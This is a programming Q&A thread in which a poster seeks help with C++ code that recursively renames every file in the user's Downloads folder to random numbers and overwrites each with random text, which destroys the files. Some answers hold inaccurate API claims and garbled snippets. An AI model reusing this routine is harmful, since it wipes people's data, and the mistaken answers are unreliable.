Click here to Skip to main content
15,880,972 members
Please Sign up or sign in to vote.
5.00/5 (1 vote)
See more:
I'm setting up my new code about changing files names, my program is just changes the file names in a specific path, I using filesystem library. My problem is that when there is nothing in the path ( In my case its downloads's path ) if there is nothing there, I'm getting run time error in case that there is no memory.

I want to check if there is a something in a directory and if not just don't do nothing there, just continue, my program is not working if there is nothing in a directory and its annoying.

How can i do this ?

C++
srand(time(0));
string dirPath = "C:\\Users\\" + username() + "\\Downloads\\";
auto path = fs::path(dirPath);
auto dir = fs::recursive_directory_iterator(path);
filesystem::path currPath = path;
auto innerPaths = vector<fs::path>();
innerPaths.push_back(currPath);
int fileName = rand() % 1920;
auto currentDepthSize = dir.depth();

for (auto& block : dir)
{
    if (currentDepthSize != dir.depth())
    {
        currentDepthSize = dir.depth();
        currPath = innerPaths[currentDepthSize];
    }
    if (block.is_directory())
    {
        currentDepthSize = dir.depth();
        currPath = dir->path();
        innerPaths.push_back(currPath);
    }
    else
    {
        string filedata = (currPath.string() + to_string(fileName));
        fs::rename(block.path(), filedata);
        fileName++;
        fstream file_data(filedata);
        file_data << randomString();
        file_data.close();
    }
}


What I have tried:

I already tried to check if directory is empty, but without success.
Posted
Updated 2-Nov-19 8:14am
Comments
Richard MacCutchan 2-Nov-19 9:03am    
Which line is the check for empty directory in the above code, and what happens when it is executed?
[no name] 2-Nov-19 10:28am    
This is the case, i don't know how to check if directory is empty, and if it is, just continue, i tried to use fs::is_empty but with success
Richard MacCutchan 2-Nov-19 11:03am    
See my suggested solution below.

 
Share this answer
 
Comments
[no name] 2-Nov-19 10:30am    
I wan't to use the function in filesystem library, "is_empty".
It's much easier to me to understand, it will be amazing if you will help me with this.
Michael Haephrati 2-Nov-19 10:32am    
Found it here: https://docs.w3cub.com/cpp/types/is_empty/


#include <iostream>
#include <type_traits>

struct A {};

struct B {
int m;
};

struct C {
static int m;
};

struct D {
virtual ~D();
};

union E {};

struct F {
[[no_unique_address]] E e;
};

int main()
{
std::cout << std::boolalpha;
std::cout << "A " << std::is_empty::value << '\n';
std::cout << "B " << std::is_empty::value << '\n';
std::cout << "C " << std::is_empty<c>::value << '\n';
std::cout << "D " << std::is_empty<d>::value << '\n';
std::cout << "E " << std::is_empty<e>::value << '\n';
std::cout << "F " << std::is_empty<f>::value << '\n'; // the result is ABI-dependent

}
[no name] 2-Nov-19 10:34am    
No, you are using std::is_empty, and im using filesystem library so the function is "fs::is_empty".

And your code is much different than my code, but thank you for your help.

If you can just connect it to my code, it will be so nice from you.
Mohibur Rashid 2-Nov-19 10:41am    
https://en.cppreference.com/w/cpp/filesystem/is_empty
does this help?
[no name] 2-Nov-19 10:42am    
Like i said, i already tried it but i don't know how to connect it to my code. please help me (:
This (like much of <filesystem>) is not yet a mainstream part of the C++ standard, so you need to use the experimental methods. Something like:
C++
if (experimental::filesystem::v1::is_empty(block.path))
{
    // the directory does not contain any entries
}
else
{
    // not empty so process the entries
}
 
Share this answer
 
Comments
[no name] 2-Nov-19 11:04am    
Thank you very much! How can i continue the program if there is nothing in the directory?
[no name] 2-Nov-19 11:10am    
I tried to do like this, if there is nothing just exit the program, not working for me, still getting run time error in case that there is nothing in this path
();
	innerPaths.push_back(currPath);
	int fileName = rand() % 1920;
	auto currentDepthSize = dir.depth();

	for (auto& block : dir)
	{
		if (fs::is_empty(block.path()))
		{
			exit(0);
		}
		if (currentDepthSize != dir.depth())
		{
			currentDepthSize = dir.depth();
			currPath = innerPaths[currentDepthSize];
		}
		if (block.is_directory())
		{
			currentDepthSize = dir.depth();
			currPath = dir->path();
			innerPaths.push_back(currPath);
		}
		else
		{
			string filedata = (currPath.string() + "\\" + to_string(fileName));
			fs::rename(block.path(), filedata);
			fileName++;
			fstream file_data(filedata);
			file_data << randomString();
		    file_data.close();
		}
	}">
Richard MacCutchan 2-Nov-19 11:28am    
Why are you calling exit if you find an empty directory? All you need to do is ignore it and continue the loop.

And please stop just saying "error". Explain exactly what error you are seeing and what line of code it occurs on.
[no name] 2-Nov-19 11:29am    
Okay im sorry, how can i ignore it ?
Richard MacCutchan 2-Nov-19 11:30am    
Look at the code sample I gave you.
The following simple code definitely works. Adapt it as necessary to your own requirements.
C++
void SimpleTest()
{
    auto mydocs = fs::path(LR"(C:\Users\ ...)"); // add a valid filesystem path here
    auto dir = fs::recursive_directory_iterator(mydocs);
    fs::path currPath = mydocs;
    
    for (auto& block : dir)
    {
        if (fs::is_directory(block.path()))
        {
            if (fs::is_empty(block.path()))
            {
                cout << block.path() << " is empty" << endl;
            }
            else
            {
                wcout << block.path() << endl;
            }
        }
    }
}
 
Share this answer
 
Comments
[no name] 2-Nov-19 12:49pm    
Does not working for me, is there anything wrong here ?
if (currentDepthSize != dir.depth())
{
currentDepthSize = dir.depth();
currPath = innerPaths[currentDepthSize];
}
if (block.is_directory())
{
currentDepthSize = dir.depth();
currPath = dir->path();
innerPaths.push_back(currPath);
}
if (fs::is_directory(block.path()))
{
if (fs::is_empty(block.path()))
{
cout << block.path() << " is empty" << endl;
}
else
{
string filedata = (currPath.string() + "\\" + to_string(fileName));
fs::rename(block.path(), filedata);
fileName++;
fstream file_data(filedata);
file_data << randomString();
file_data.close();
}
}
Richard MacCutchan 2-Nov-19 13:22pm    
Yes. The block of code starting with if (block.is_directory()). The directory_entry Class does not contain a method named is_directory(), so I do not know why this is being accepted by your compiler.
[no name] 2-Nov-19 13:37pm    
Does not working for me, again. ):
srand(time(0));
	string dirPath = "C:\\Users\\" + username() + "\\Downloads";
	auto path = fs::path(dirPath);
	auto dir = fs::recursive_directory_iterator(path);
	filesystem::path currPath = path;
	auto innerPaths = vector<fs::path>();
	innerPaths.push_back(currPath);
	int fileName = rand() % 1920;
	auto currentDepthSize = dir.depth();

	for (auto& block : dir)
	{
		if (currentDepthSize != dir.depth())
		{
			currentDepthSize = dir.depth();
			currPath = innerPaths[currentDepthSize];
		}
		if (fs::is_directory(block.path()))
		{
			if (fs::is_empty(block.path()))
			{
				cout << block.path() << " is empty" << endl;
			}
			else
			{
				string filedata = (currPath.string() + "\\" + to_string(fileName));
				fs::rename(block.path(), filedata);
				fileName++;
				fstream file_data(filedata);
				file_data << randomString();
				file_data.close();
			}
		}
	}


Can you please just post your full code ? Maybe i'm missing something ):
I'm so confused.
Richard MacCutchan 2-Nov-19 13:46pm    
I have given you my full code, which is just a sample of how to iterate a directory tree and check if a directory is empty or not. I suggest you start with that basic code and check the output matches what you see with File Explorer. You can then add code to the block where a directory is not empty to do the additional work that your program needs. Do not add all the extra code in one go, build it up one piece at a time so you can check that it still works at each stage. That will also help to identify problems when a new piece of code causes an error, or does not produce the correct output.
[no name] 2-Nov-19 13:56pm    
Okay, i tried to find my problem and this is this 2 lines of code, this is gives me the problem

auto innerPaths = vector<fs::path>();
auto currentDepthSize = dir.depth();

How can i fix this ? i need them because for the other if statements.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900